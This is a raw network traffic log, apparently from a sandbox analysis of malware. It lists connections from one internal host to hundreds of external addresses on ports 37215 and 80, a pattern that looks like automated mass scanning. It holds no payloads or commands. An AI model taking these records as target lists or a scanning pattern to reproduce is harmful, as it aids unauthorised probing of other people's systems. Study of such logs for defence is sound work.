Dec 3, 2024 23:16:42.758452892 CET	40597	37215	192.168.2.23	197.141.152.66
Dec 3, 2024 23:16:42.758452892 CET	40597	37215	192.168.2.23	197.171.222.235
Dec 3, 2024 23:16:42.758452892 CET	40597	37215	192.168.2.23	41.209.166.251
Dec 3, 2024 23:16:42.758455992 CET	37215	40597	156.118.92.2	192.168.2.23
Dec 3, 2024 23:16:42.758469105 CET	40597	37215	192.168.2.23	41.17.135.97
Dec 3, 2024 23:16:42.758479118 CET	37215	40597	41.138.212.82	192.168.2.23
Dec 3, 2024 23:16:42.758479118 CET	40597	37215	192.168.2.23	156.6.211.24
Dec 3, 2024 23:16:42.758491993 CET	40597	37215	192.168.2.23	156.118.92.2
Dec 3, 2024 23:16:42.758497000 CET	37215	40597	197.83.95.76	192.168.2.23
Dec 3, 2024 23:16:42.758506060 CET	37215	40597	156.108.239.48	192.168.2.23
Dec 3, 2024 23:16:42.758513927 CET	37215	40597	197.202.122.195	192.168.2.23
Dec 3, 2024 23:16:42.758521080 CET	37215	40597	197.30.67.115	192.168.2.23
Dec 3, 2024 23:16:42.758527040 CET	40597	37215	192.168.2.23	41.138.212.82
Dec 3, 2024 23:16:42.758527040 CET	40597	37215	192.168.2.23	197.83.95.76
Dec 3, 2024 23:16:42.758527040 CET	40597	37215	192.168.2.23	156.108.239.48
Dec 3, 2024 23:16:42.758531094 CET	37215	40597	41.173.252.236	192.168.2.23
Dec 3, 2024 23:16:42.758538961 CET	37215	40597	41.205.7.146	192.168.2.23
Dec 3, 2024 23:16:42.758548021 CET	40597	37215	192.168.2.23	197.202.122.195
Dec 3, 2024 23:16:42.758548975 CET	37215	40597	197.137.222.54	192.168.2.23
Dec 3, 2024 23:16:42.758553982 CET	40597	37215	192.168.2.23	197.30.67.115
Dec 3, 2024 23:16:42.758557081 CET	40597	37215	192.168.2.23	41.173.252.236
Dec 3, 2024 23:16:42.758569956 CET	40597	37215	192.168.2.23	41.205.7.146
Dec 3, 2024 23:16:42.758575916 CET	40597	37215	192.168.2.23	197.137.222.54
Dec 3, 2024 23:16:42.758605003 CET	37215	40597	41.221.5.59	192.168.2.23
Dec 3, 2024 23:16:42.758614063 CET	37215	40597	41.181.202.206	192.168.2.23
Dec 3, 2024 23:16:42.758616924 CET	37215	40597	156.138.67.161	192.168.2.23
Dec 3, 2024 23:16:42.758625031 CET	37215	40597	197.225.240.239	192.168.2.23
Dec 3, 2024 23:16:42.758645058 CET	40597	37215	192.168.2.23	41.181.202.206
Dec 3, 2024 23:16:42.758645058 CET	40597	37215	192.168.2.23	156.138.67.161
Dec 3, 2024 23:16:42.758646965 CET	40597	37215	192.168.2.23	41.221.5.59
Dec 3, 2024 23:16:42.758656025 CET	40597	37215	192.168.2.23	197.225.240.239
Dec 3, 2024 23:16:42.759201050 CET	37215	40597	41.117.91.141	192.168.2.23
Dec 3, 2024 23:16:42.759238005 CET	37215	40597	197.25.75.105	192.168.2.23
Dec 3, 2024 23:16:42.759246111 CET	37215	40597	41.246.38.85	192.168.2.23
Dec 3, 2024 23:16:42.759253979 CET	37215	40597	197.218.241.37	192.168.2.23
Dec 3, 2024 23:16:42.759263039 CET	37215	40597	156.19.146.153	192.168.2.23
Dec 3, 2024 23:16:42.759263039 CET	40597	37215	192.168.2.23	41.117.91.141
Dec 3, 2024 23:16:42.759269953 CET	40597	37215	192.168.2.23	41.246.38.85
Dec 3, 2024 23:16:42.759273052 CET	40597	37215	192.168.2.23	197.25.75.105
Dec 3, 2024 23:16:42.759279966 CET	40597	37215	192.168.2.23	197.218.241.37
Dec 3, 2024 23:16:42.759287119 CET	40597	37215	192.168.2.23	156.19.146.153
Dec 3, 2024 23:16:42.759351015 CET	37215	40597	197.31.189.199	192.168.2.23
Dec 3, 2024 23:16:42.759366035 CET	37215	40597	41.170.244.13	192.168.2.23
Dec 3, 2024 23:16:42.759377956 CET	37215	40597	41.156.112.243	192.168.2.23
Dec 3, 2024 23:16:42.759386063 CET	37215	40597	156.53.46.226	192.168.2.23
Dec 3, 2024 23:16:42.759394884 CET	37215	40597	156.253.181.145	192.168.2.23
Dec 3, 2024 23:16:42.759402037 CET	37215	40597	156.156.14.119	192.168.2.23
Dec 3, 2024 23:16:42.759402037 CET	40597	37215	192.168.2.23	197.31.189.199
Dec 3, 2024 23:16:42.759403944 CET	40597	37215	192.168.2.23	41.170.244.13
Dec 3, 2024 23:16:42.759403944 CET	40597	37215	192.168.2.23	41.156.112.243
Dec 3, 2024 23:16:42.759412050 CET	37215	40597	156.100.228.11	192.168.2.23
Dec 3, 2024 23:16:42.759422064 CET	40597	37215	192.168.2.23	156.53.46.226
Dec 3, 2024 23:16:42.759423018 CET	37215	40597	41.54.114.23	192.168.2.23
Dec 3, 2024 23:16:42.759427071 CET	40597	37215	192.168.2.23	156.253.181.145
Dec 3, 2024 23:16:42.759432077 CET	37215	40597	197.67.237.21	192.168.2.23
Dec 3, 2024 23:16:42.759440899 CET	37215	40597	197.211.177.214	192.168.2.23
Dec 3, 2024 23:16:42.759442091 CET	40597	37215	192.168.2.23	156.100.228.11
Dec 3, 2024 23:16:42.759445906 CET	40597	37215	192.168.2.23	41.54.114.23
Dec 3, 2024 23:16:42.759449959 CET	37215	40597	197.4.254.221	192.168.2.23
Dec 3, 2024 23:16:42.759457111 CET	40597	37215	192.168.2.23	156.156.14.119
Dec 3, 2024 23:16:42.759459972 CET	37215	40597	41.227.254.202	192.168.2.23
Dec 3, 2024 23:16:42.759468079 CET	40597	37215	192.168.2.23	197.67.237.21
Dec 3, 2024 23:16:42.759469986 CET	40597	37215	192.168.2.23	197.211.177.214
Dec 3, 2024 23:16:42.759471893 CET	37215	40597	41.174.180.37	192.168.2.23
Dec 3, 2024 23:16:42.759481907 CET	37215	40597	41.133.101.48	192.168.2.23
Dec 3, 2024 23:16:42.759486914 CET	40597	37215	192.168.2.23	197.4.254.221
Dec 3, 2024 23:16:42.759489059 CET	40597	37215	192.168.2.23	41.227.254.202
Dec 3, 2024 23:16:42.759490967 CET	37215	40597	197.160.105.63	192.168.2.23
Dec 3, 2024 23:16:42.759500027 CET	37215	40597	197.176.2.205	192.168.2.23
Dec 3, 2024 23:16:42.759509087 CET	37215	40597	197.22.79.89	192.168.2.23
Dec 3, 2024 23:16:42.759511948 CET	40597	37215	192.168.2.23	41.133.101.48
Dec 3, 2024 23:16:42.759512901 CET	40597	37215	192.168.2.23	41.174.180.37
Dec 3, 2024 23:16:42.759517908 CET	37215	40597	156.10.64.83	192.168.2.23
Dec 3, 2024 23:16:42.759522915 CET	40597	37215	192.168.2.23	197.160.105.63
Dec 3, 2024 23:16:42.759532928 CET	40597	37215	192.168.2.23	197.176.2.205
Dec 3, 2024 23:16:42.759548903 CET	40597	37215	192.168.2.23	197.22.79.89
Dec 3, 2024 23:16:42.759550095 CET	40597	37215	192.168.2.23	156.10.64.83
Dec 3, 2024 23:16:42.760042906 CET	37215	40597	156.25.133.205	192.168.2.23
Dec 3, 2024 23:16:42.760054111 CET	37215	40597	41.57.162.78	192.168.2.23
Dec 3, 2024 23:16:42.760062933 CET	37215	40597	156.52.119.13	192.168.2.23
Dec 3, 2024 23:16:42.760071993 CET	37215	40597	156.184.164.39	192.168.2.23
Dec 3, 2024 23:16:42.760080099 CET	37215	40597	156.161.147.50	192.168.2.23
Dec 3, 2024 23:16:42.760083914 CET	40597	37215	192.168.2.23	156.25.133.205
Dec 3, 2024 23:16:42.760087013 CET	40597	37215	192.168.2.23	41.57.162.78
Dec 3, 2024 23:16:42.760087967 CET	37215	40597	41.217.59.252	192.168.2.23
Dec 3, 2024 23:16:42.760092974 CET	37215	40597	156.189.189.240	192.168.2.23
Dec 3, 2024 23:16:42.760101080 CET	37215	40597	156.194.177.157	192.168.2.23
Dec 3, 2024 23:16:42.760101080 CET	40597	37215	192.168.2.23	156.184.164.39
Dec 3, 2024 23:16:42.760102034 CET	40597	37215	192.168.2.23	156.52.119.13
Dec 3, 2024 23:16:42.760113001 CET	37215	40597	41.70.32.60	192.168.2.23
Dec 3, 2024 23:16:42.760122061 CET	40597	37215	192.168.2.23	156.161.147.50
Dec 3, 2024 23:16:42.760122061 CET	40597	37215	192.168.2.23	41.217.59.252
Dec 3, 2024 23:16:42.760124922 CET	37215	40597	41.217.224.236	192.168.2.23
Dec 3, 2024 23:16:42.760124922 CET	40597	37215	192.168.2.23	156.189.189.240
Dec 3, 2024 23:16:42.760133982 CET	37215	40597	41.174.47.70	192.168.2.23
Dec 3, 2024 23:16:42.760140896 CET	40597	37215	192.168.2.23	156.194.177.157
Dec 3, 2024 23:16:42.760140896 CET	40597	37215	192.168.2.23	41.70.32.60
Dec 3, 2024 23:16:42.760143042 CET	37215	40597	197.222.213.16	192.168.2.23
Dec 3, 2024 23:16:42.760153055 CET	37215	40597	41.69.253.68	192.168.2.23
Dec 3, 2024 23:16:42.760160923 CET	37215	40597	197.17.71.8	192.168.2.23
Dec 3, 2024 23:16:42.760168076 CET	40597	37215	192.168.2.23	41.174.47.70
Dec 3, 2024 23:16:42.760168076 CET	40597	37215	192.168.2.23	41.217.224.236
Dec 3, 2024 23:16:42.760169029 CET	37215	40597	156.46.8.234	192.168.2.23
Dec 3, 2024 23:16:42.760171890 CET	40597	37215	192.168.2.23	197.222.213.16
Dec 3, 2024 23:16:42.760176897 CET	37215	40597	41.138.202.252	192.168.2.23
Dec 3, 2024 23:16:42.760188103 CET	40597	37215	192.168.2.23	197.17.71.8
Dec 3, 2024 23:16:42.760190010 CET	37215	40597	41.250.163.19	192.168.2.23
Dec 3, 2024 23:16:42.760200977 CET	37215	40597	197.225.133.219	192.168.2.23
Dec 3, 2024 23:16:42.760207891 CET	37215	40597	41.92.110.203	192.168.2.23
Dec 3, 2024 23:16:42.760209084 CET	40597	37215	192.168.2.23	41.138.202.252
Dec 3, 2024 23:16:42.760219097 CET	40597	37215	192.168.2.23	41.250.163.19
Dec 3, 2024 23:16:42.760221958 CET	40597	37215	192.168.2.23	197.225.133.219
Dec 3, 2024 23:16:42.760224104 CET	37215	40597	41.151.66.154	192.168.2.23
Dec 3, 2024 23:16:42.760234118 CET	37215	40597	156.193.4.233	192.168.2.23
Dec 3, 2024 23:16:42.760236025 CET	40597	37215	192.168.2.23	156.46.8.234
Dec 3, 2024 23:16:42.760237932 CET	40597	37215	192.168.2.23	41.92.110.203
Dec 3, 2024 23:16:42.760242939 CET	37215	40597	156.107.35.215	192.168.2.23
Dec 3, 2024 23:16:42.760251045 CET	37215	40597	41.240.77.151	192.168.2.23
Dec 3, 2024 23:16:42.760261059 CET	37215	40597	197.216.86.30	192.168.2.23
Dec 3, 2024 23:16:42.760266066 CET	40597	37215	192.168.2.23	156.193.4.233
Dec 3, 2024 23:16:42.760271072 CET	37215	40597	156.98.144.143	192.168.2.23
Dec 3, 2024 23:16:42.760278940 CET	37215	40597	156.75.202.191	192.168.2.23
Dec 3, 2024 23:16:42.760282040 CET	40597	37215	192.168.2.23	41.151.66.154
Dec 3, 2024 23:16:42.760286093 CET	40597	37215	192.168.2.23	41.69.253.68
Dec 3, 2024 23:16:42.760286093 CET	40597	37215	192.168.2.23	156.107.35.215
Dec 3, 2024 23:16:42.760286093 CET	40597	37215	192.168.2.23	41.240.77.151
Dec 3, 2024 23:16:42.760287046 CET	37215	40597	197.190.220.197	192.168.2.23
Dec 3, 2024 23:16:42.760294914 CET	37215	40597	41.70.215.6	192.168.2.23
Dec 3, 2024 23:16:42.760301113 CET	40597	37215	192.168.2.23	197.216.86.30
Dec 3, 2024 23:16:42.760301113 CET	40597	37215	192.168.2.23	156.75.202.191
Dec 3, 2024 23:16:42.760303974 CET	37215	40597	41.139.233.172	192.168.2.23
Dec 3, 2024 23:16:42.760313034 CET	37215	40597	41.217.252.27	192.168.2.23
Dec 3, 2024 23:16:42.760319948 CET	40597	37215	192.168.2.23	156.98.144.143
Dec 3, 2024 23:16:42.760322094 CET	37215	40597	156.74.195.17	192.168.2.23
Dec 3, 2024 23:16:42.760320902 CET	40597	37215	192.168.2.23	197.190.220.197
Dec 3, 2024 23:16:42.760330915 CET	37215	40597	41.253.84.118	192.168.2.23
Dec 3, 2024 23:16:42.760339022 CET	40597	37215	192.168.2.23	41.70.215.6
Dec 3, 2024 23:16:42.760339975 CET	40597	37215	192.168.2.23	41.139.233.172
Dec 3, 2024 23:16:42.760339975 CET	37215	40597	156.59.73.60	192.168.2.23
Dec 3, 2024 23:16:42.760344028 CET	40597	37215	192.168.2.23	41.217.252.27
Dec 3, 2024 23:16:42.760349989 CET	40597	37215	192.168.2.23	156.74.195.17
Dec 3, 2024 23:16:42.760356903 CET	40597	37215	192.168.2.23	41.253.84.118
Dec 3, 2024 23:16:42.760365963 CET	40597	37215	192.168.2.23	156.59.73.60
Dec 3, 2024 23:16:42.760704041 CET	37215	40597	197.173.87.148	192.168.2.23
Dec 3, 2024 23:16:42.760714054 CET	37215	40597	41.42.54.54	192.168.2.23
Dec 3, 2024 23:16:42.760721922 CET	37215	40597	197.4.255.240	192.168.2.23
Dec 3, 2024 23:16:42.760730982 CET	37215	40597	197.47.185.35	192.168.2.23
Dec 3, 2024 23:16:42.760740995 CET	37215	40597	197.136.193.86	192.168.2.23
Dec 3, 2024 23:16:42.760742903 CET	40597	37215	192.168.2.23	197.173.87.148
Dec 3, 2024 23:16:42.760742903 CET	40597	37215	192.168.2.23	41.42.54.54
Dec 3, 2024 23:16:42.760742903 CET	40597	37215	192.168.2.23	197.4.255.240
Dec 3, 2024 23:16:42.760750055 CET	37215	40597	41.119.228.140	192.168.2.23
Dec 3, 2024 23:16:42.760757923 CET	37215	40597	156.68.149.22	192.168.2.23
Dec 3, 2024 23:16:42.760761023 CET	40597	37215	192.168.2.23	197.47.185.35
Dec 3, 2024 23:16:42.760767937 CET	37215	40597	197.249.113.57	192.168.2.23
Dec 3, 2024 23:16:42.760776043 CET	40597	37215	192.168.2.23	197.136.193.86
Dec 3, 2024 23:16:42.760776997 CET	37215	40597	197.58.232.172	192.168.2.23
Dec 3, 2024 23:16:42.760780096 CET	40597	37215	192.168.2.23	41.119.228.140
Dec 3, 2024 23:16:42.760787010 CET	37215	40597	156.104.231.18	192.168.2.23
Dec 3, 2024 23:16:42.760798931 CET	40597	37215	192.168.2.23	156.68.149.22
Dec 3, 2024 23:16:42.760801077 CET	37215	40597	197.239.199.197	192.168.2.23
Dec 3, 2024 23:16:42.760802031 CET	40597	37215	192.168.2.23	197.249.113.57
Dec 3, 2024 23:16:42.760811090 CET	37215	40597	41.37.39.7	192.168.2.23
Dec 3, 2024 23:16:42.760818958 CET	37215	40597	156.0.142.91	192.168.2.23
Dec 3, 2024 23:16:42.760819912 CET	40597	37215	192.168.2.23	156.104.231.18
Dec 3, 2024 23:16:42.760829926 CET	37215	40597	197.103.185.206	192.168.2.23
Dec 3, 2024 23:16:42.760838985 CET	37215	40597	41.199.202.54	192.168.2.23
Dec 3, 2024 23:16:42.760839939 CET	40597	37215	192.168.2.23	41.37.39.7
Dec 3, 2024 23:16:42.760839939 CET	40597	37215	192.168.2.23	197.239.199.197
Dec 3, 2024 23:16:42.760840893 CET	40597	37215	192.168.2.23	197.58.232.172
Dec 3, 2024 23:16:42.760840893 CET	40597	37215	192.168.2.23	156.0.142.91
Dec 3, 2024 23:16:42.760854959 CET	37215	40597	156.195.38.84	192.168.2.23
Dec 3, 2024 23:16:42.760857105 CET	40597	37215	192.168.2.23	197.103.185.206
Dec 3, 2024 23:16:42.760869026 CET	37215	40597	156.77.17.103	192.168.2.23
Dec 3, 2024 23:16:42.760876894 CET	37215	40597	41.241.232.139	192.168.2.23
Dec 3, 2024 23:16:42.760879040 CET	40597	37215	192.168.2.23	41.199.202.54
Dec 3, 2024 23:16:42.760885954 CET	37215	40597	41.107.159.189	192.168.2.23
Dec 3, 2024 23:16:42.760888100 CET	40597	37215	192.168.2.23	156.195.38.84
Dec 3, 2024 23:16:42.760895014 CET	37215	40597	197.193.174.24	192.168.2.23
Dec 3, 2024 23:16:42.760905027 CET	37215	40597	41.212.60.170	192.168.2.23
Dec 3, 2024 23:16:42.760906935 CET	40597	37215	192.168.2.23	156.77.17.103
Dec 3, 2024 23:16:42.760906935 CET	40597	37215	192.168.2.23	41.241.232.139
Dec 3, 2024 23:16:42.760914087 CET	37215	40597	156.41.191.212	192.168.2.23
Dec 3, 2024 23:16:42.760922909 CET	37215	40597	156.199.57.97	192.168.2.23
Dec 3, 2024 23:16:42.760925055 CET	40597	37215	192.168.2.23	197.193.174.24
Dec 3, 2024 23:16:42.760926962 CET	40597	37215	192.168.2.23	41.107.159.189
Dec 3, 2024 23:16:42.760931969 CET	37215	40597	41.90.217.130	192.168.2.23
Dec 3, 2024 23:16:42.760941982 CET	37215	40597	156.240.70.188	192.168.2.23
Dec 3, 2024 23:16:42.760942936 CET	40597	37215	192.168.2.23	41.212.60.170
Dec 3, 2024 23:16:42.760951042 CET	37215	40597	41.227.203.115	192.168.2.23
Dec 3, 2024 23:16:42.760951996 CET	40597	37215	192.168.2.23	156.199.57.97
Dec 3, 2024 23:16:42.760952950 CET	40597	37215	192.168.2.23	156.41.191.212
Dec 3, 2024 23:16:42.760960102 CET	37215	40597	156.243.20.36	192.168.2.23
Dec 3, 2024 23:16:42.760967970 CET	37215	40597	156.65.212.24	192.168.2.23
Dec 3, 2024 23:16:42.760971069 CET	40597	37215	192.168.2.23	41.90.217.130
Dec 3, 2024 23:16:42.760977030 CET	40597	37215	192.168.2.23	156.240.70.188
Dec 3, 2024 23:16:42.760989904 CET	40597	37215	192.168.2.23	41.227.203.115
Dec 3, 2024 23:16:42.760991096 CET	40597	37215	192.168.2.23	156.243.20.36
Dec 3, 2024 23:16:42.761004925 CET	40597	37215	192.168.2.23	156.65.212.24
Dec 3, 2024 23:16:42.761373997 CET	37215	40597	41.104.138.154	192.168.2.23
Dec 3, 2024 23:16:42.761389017 CET	37215	40597	41.207.92.249	192.168.2.23
Dec 3, 2024 23:16:42.761399031 CET	37215	40597	156.206.45.55	192.168.2.23
Dec 3, 2024 23:16:42.761406898 CET	37215	40597	197.147.110.57	192.168.2.23
Dec 3, 2024 23:16:42.761409998 CET	40597	37215	192.168.2.23	41.104.138.154
Dec 3, 2024 23:16:42.761424065 CET	37215	40597	41.37.110.138	192.168.2.23
Dec 3, 2024 23:16:42.761426926 CET	40597	37215	192.168.2.23	41.207.92.249
Dec 3, 2024 23:16:42.761434078 CET	37215	40597	41.130.109.120	192.168.2.23
Dec 3, 2024 23:16:42.761435032 CET	40597	37215	192.168.2.23	156.206.45.55
Dec 3, 2024 23:16:42.761436939 CET	40597	37215	192.168.2.23	197.147.110.57
Dec 3, 2024 23:16:42.761444092 CET	37215	40597	156.54.20.47	192.168.2.23
Dec 3, 2024 23:16:42.761452913 CET	37215	40597	156.109.25.34	192.168.2.23
Dec 3, 2024 23:16:42.761461020 CET	37215	40597	197.18.146.126	192.168.2.23
Dec 3, 2024 23:16:42.761462927 CET	40597	37215	192.168.2.23	41.37.110.138
Dec 3, 2024 23:16:42.761466026 CET	40597	37215	192.168.2.23	41.130.109.120
Dec 3, 2024 23:16:42.761483908 CET	40597	37215	192.168.2.23	156.109.25.34
Dec 3, 2024 23:16:42.761492014 CET	40597	37215	192.168.2.23	197.18.146.126
Dec 3, 2024 23:16:42.761498928 CET	40597	37215	192.168.2.23	156.54.20.47
Dec 3, 2024 23:16:42.761544943 CET	37215	40597	41.209.45.145	192.168.2.23
Dec 3, 2024 23:16:42.761554003 CET	37215	40597	197.198.133.108	192.168.2.23
Dec 3, 2024 23:16:42.761562109 CET	37215	40597	41.105.138.157	192.168.2.23
Dec 3, 2024 23:16:42.761570930 CET	37215	40597	197.39.83.182	192.168.2.23
Dec 3, 2024 23:16:42.761579037 CET	37215	40597	156.246.49.158	192.168.2.23
Dec 3, 2024 23:16:42.761579990 CET	40597	37215	192.168.2.23	41.209.45.145
Dec 3, 2024 23:16:42.761579990 CET	40597	37215	192.168.2.23	197.198.133.108
Dec 3, 2024 23:16:42.761588097 CET	37215	40597	197.114.205.48	192.168.2.23
Dec 3, 2024 23:16:42.761596918 CET	37215	40597	41.25.133.54	192.168.2.23
Dec 3, 2024 23:16:42.761598110 CET	40597	37215	192.168.2.23	197.39.83.182
Dec 3, 2024 23:16:42.761598110 CET	40597	37215	192.168.2.23	41.105.138.157
Dec 3, 2024 23:16:42.761609077 CET	37215	40597	41.230.161.119	192.168.2.23
Dec 3, 2024 23:16:42.761617899 CET	40597	37215	192.168.2.23	197.114.205.48
Dec 3, 2024 23:16:42.761617899 CET	37215	40597	197.138.64.3	192.168.2.23
Dec 3, 2024 23:16:42.761617899 CET	40597	37215	192.168.2.23	156.246.49.158
Dec 3, 2024 23:16:42.761627913 CET	37215	40597	156.5.68.186	192.168.2.23
Dec 3, 2024 23:16:42.761636019 CET	40597	37215	192.168.2.23	41.25.133.54
Dec 3, 2024 23:16:42.761636972 CET	37215	40597	156.236.251.101	192.168.2.23
Dec 3, 2024 23:16:42.761641979 CET	40597	37215	192.168.2.23	41.230.161.119
Dec 3, 2024 23:16:42.761646032 CET	37215	40597	197.189.220.113	192.168.2.23
Dec 3, 2024 23:16:42.761655092 CET	40597	37215	192.168.2.23	197.138.64.3
Dec 3, 2024 23:16:42.761656046 CET	37215	40597	156.25.6.225	192.168.2.23
Dec 3, 2024 23:16:42.761663914 CET	37215	40597	197.202.142.105	192.168.2.23
Dec 3, 2024 23:16:42.761665106 CET	40597	37215	192.168.2.23	156.5.68.186
Dec 3, 2024 23:16:42.761667013 CET	40597	37215	192.168.2.23	156.236.251.101
Dec 3, 2024 23:16:42.761672974 CET	37215	40597	41.38.58.193	192.168.2.23
Dec 3, 2024 23:16:42.761687040 CET	40597	37215	192.168.2.23	197.189.220.113
Dec 3, 2024 23:16:42.761688948 CET	40597	37215	192.168.2.23	156.25.6.225
Dec 3, 2024 23:16:42.761693954 CET	40597	37215	192.168.2.23	197.202.142.105
Dec 3, 2024 23:16:42.761694908 CET	40597	37215	192.168.2.23	41.38.58.193
Dec 3, 2024 23:16:43.379389048 CET	40596	80	192.168.2.23	211.227.175.197
Dec 3, 2024 23:16:43.379395008 CET	40596	80	192.168.2.23	181.102.255.131
Dec 3, 2024 23:16:43.379398108 CET	40596	80	192.168.2.23	219.135.74.124
Dec 3, 2024 23:16:43.379403114 CET	40596	80	192.168.2.23	64.239.90.85
Dec 3, 2024 23:16:43.379410028 CET	40596	80	192.168.2.23	122.213.128.42
Dec 3, 2024 23:16:43.379410028 CET	40596	80	192.168.2.23	209.92.96.31
Dec 3, 2024 23:16:43.379410028 CET	40596	80	192.168.2.23	94.118.82.104
Dec 3, 2024 23:16:43.379420042 CET	40596	80	192.168.2.23	147.122.234.119
Dec 3, 2024 23:16:43.379420042 CET	40596	80	192.168.2.23	164.90.130.102
Dec 3, 2024 23:16:43.379420042 CET	40596	80	192.168.2.23	213.7.16.234
Dec 3, 2024 23:16:43.379426956 CET	40596	80	192.168.2.23	38.183.33.190
Dec 3, 2024 23:16:43.379437923 CET	40596	80	192.168.2.23	81.22.98.221
Dec 3, 2024 23:16:43.379443884 CET	40596	80	192.168.2.23	69.237.104.49
Dec 3, 2024 23:16:43.379448891 CET	40596	80	192.168.2.23	41.149.225.92
Dec 3, 2024 23:16:43.379450083 CET	40596	80	192.168.2.23	65.244.187.18
Dec 3, 2024 23:16:43.379463911 CET	40596	80	192.168.2.23	42.240.154.229
Dec 3, 2024 23:16:43.379468918 CET	40596	80	192.168.2.23	149.220.102.53
Dec 3, 2024 23:16:43.379468918 CET	40596	80	192.168.2.23	46.235.103.27
Dec 3, 2024 23:16:43.379468918 CET	40596	80	192.168.2.23	168.201.150.76
Dec 3, 2024 23:16:43.379470110 CET	40596	80	192.168.2.23	200.113.220.113
Dec 3, 2024 23:16:43.379472017 CET	40596	80	192.168.2.23	84.62.102.3
Dec 3, 2024 23:16:43.379470110 CET	40596	80	192.168.2.23	136.21.160.150
Dec 3, 2024 23:16:43.379489899 CET	40596	80	192.168.2.23	110.219.87.158
Dec 3, 2024 23:16:43.379496098 CET	40596	80	192.168.2.23	133.129.90.10
Dec 3, 2024 23:16:43.379498005 CET	40596	80	192.168.2.23	104.232.51.106
Dec 3, 2024 23:16:43.379499912 CET	40596	80	192.168.2.23	114.235.208.246
Dec 3, 2024 23:16:43.379499912 CET	40596	80	192.168.2.23	92.218.24.101
Dec 3, 2024 23:16:43.379503012 CET	40596	80	192.168.2.23	169.7.213.50
Dec 3, 2024 23:16:43.379503012 CET	40596	80	192.168.2.23	200.237.140.117
Dec 3, 2024 23:16:43.379503012 CET	40596	80	192.168.2.23	150.39.56.225
Dec 3, 2024 23:16:43.379508018 CET	40596	80	192.168.2.23	89.252.75.13
Dec 3, 2024 23:16:43.379509926 CET	40596	80	192.168.2.23	89.7.20.131
Dec 3, 2024 23:16:43.379513979 CET	40596	80	192.168.2.23	61.56.27.165
Dec 3, 2024 23:16:43.379514933 CET	40596	80	192.168.2.23	36.148.176.14
Dec 3, 2024 23:16:43.379514933 CET	40596	80	192.168.2.23	83.7.64.25
Dec 3, 2024 23:16:43.379519939 CET	40596	80	192.168.2.23	65.223.32.85
Dec 3, 2024 23:16:43.379528046 CET	40596	80	192.168.2.23	138.110.243.243
Dec 3, 2024 23:16:43.379539013 CET	40596	80	192.168.2.23	20.226.95.25
Dec 3, 2024 23:16:43.379539013 CET	40596	80	192.168.2.23	4.148.73.18
Dec 3, 2024 23:16:43.379542112 CET	40596	80	192.168.2.23	138.59.212.85
Dec 3, 2024 23:16:43.379539013 CET	40596	80	192.168.2.23	64.129.209.41
Dec 3, 2024 23:16:43.379542112 CET	40596	80	192.168.2.23	182.251.205.165
Dec 3, 2024 23:16:43.379545927 CET	40596	80	192.168.2.23	128.98.121.173
Dec 3, 2024 23:16:43.379548073 CET	40596	80	192.168.2.23	134.245.15.31
Dec 3, 2024 23:16:43.379549026 CET	40596	80	192.168.2.23	76.249.167.2
Dec 3, 2024 23:16:43.379549026 CET	40596	80	192.168.2.23	50.139.5.243
Dec 3, 2024 23:16:43.379549026 CET	40596	80	192.168.2.23	81.218.86.221
Dec 3, 2024 23:16:43.379549980 CET	40596	80	192.168.2.23	51.51.22.8
Dec 3, 2024 23:16:43.379555941 CET	40596	80	192.168.2.23	152.243.171.49
Dec 3, 2024 23:16:43.379555941 CET	40596	80	192.168.2.23	194.241.133.101
Dec 3, 2024 23:16:43.379559994 CET	40596	80	192.168.2.23	212.75.146.191
Dec 3, 2024 23:16:43.379564047 CET	40596	80	192.168.2.23	138.109.0.205
Dec 3, 2024 23:16:43.379564047 CET	40596	80	192.168.2.23	79.244.180.207
Dec 3, 2024 23:16:43.379566908 CET	40596	80	192.168.2.23	65.29.189.222
Dec 3, 2024 23:16:43.379566908 CET	40596	80	192.168.2.23	161.161.6.170
Dec 3, 2024 23:16:43.379566908 CET	40596	80	192.168.2.23	20.223.0.235
Dec 3, 2024 23:16:43.379585028 CET	40596	80	192.168.2.23	82.98.126.245
Dec 3, 2024 23:16:43.379589081 CET	40596	80	192.168.2.23	89.106.217.241
Dec 3, 2024 23:16:43.379589081 CET	40596	80	192.168.2.23	104.224.174.176
Dec 3, 2024 23:16:43.379589081 CET	40596	80	192.168.2.23	185.88.53.109
Dec 3, 2024 23:16:43.379589081 CET	40596	80	192.168.2.23	76.169.54.168
Dec 3, 2024 23:16:43.379592896 CET	40596	80	192.168.2.23	206.13.15.63
Dec 3, 2024 23:16:43.379596949 CET	40596	80	192.168.2.23	144.38.20.0
Dec 3, 2024 23:16:43.379597902 CET	40596	80	192.168.2.23	101.46.179.16
Dec 3, 2024 23:16:43.379602909 CET	40596	80	192.168.2.23	120.30.121.211
Dec 3, 2024 23:16:43.379602909 CET	40596	80	192.168.2.23	106.19.131.154
Dec 3, 2024 23:16:43.379604101 CET	40596	80	192.168.2.23	196.5.126.27
Dec 3, 2024 23:16:43.379606009 CET	40596	80	192.168.2.23	88.16.203.90
Dec 3, 2024 23:16:43.379606962 CET	40596	80	192.168.2.23	72.180.203.48
Dec 3, 2024 23:16:43.379611969 CET	40596	80	192.168.2.23	58.223.72.221
Dec 3, 2024 23:16:43.379616022 CET	40596	80	192.168.2.23	188.156.0.26
Dec 3, 2024 23:16:43.379631996 CET	40596	80	192.168.2.23	86.149.195.141
Dec 3, 2024 23:16:43.379657984 CET	40596	80	192.168.2.23	108.21.86.16
Dec 3, 2024 23:16:43.379658937 CET	40596	80	192.168.2.23	198.194.160.28
Dec 3, 2024 23:16:43.379666090 CET	40596	80	192.168.2.23	161.221.196.222
Dec 3, 2024 23:16:43.379666090 CET	40596	80	192.168.2.23	131.8.138.7
Dec 3, 2024 23:16:43.379667044 CET	40596	80	192.168.2.23	209.166.64.134
Dec 3, 2024 23:16:43.379668951 CET	40596	80	192.168.2.23	119.49.209.67
Dec 3, 2024 23:16:43.379668951 CET	40596	80	192.168.2.23	36.127.250.78
Dec 3, 2024 23:16:43.379668951 CET	40596	80	192.168.2.23	52.59.102.77
Dec 3, 2024 23:16:43.379672050 CET	40596	80	192.168.2.23	205.42.223.76
Dec 3, 2024 23:16:43.379673004 CET	40596	80	192.168.2.23	209.81.157.192
Dec 3, 2024 23:16:43.379684925 CET	40596	80	192.168.2.23	179.151.244.139
Dec 3, 2024 23:16:43.379684925 CET	40596	80	192.168.2.23	181.132.251.28
Dec 3, 2024 23:16:43.379682064 CET	40596	80	192.168.2.23	12.128.53.10
Dec 3, 2024 23:16:43.379688978 CET	40596	80	192.168.2.23	64.56.86.147
Dec 3, 2024 23:16:43.379688978 CET	40596	80	192.168.2.23	186.78.42.49
Dec 3, 2024 23:16:43.379689932 CET	40596	80	192.168.2.23	123.80.89.111
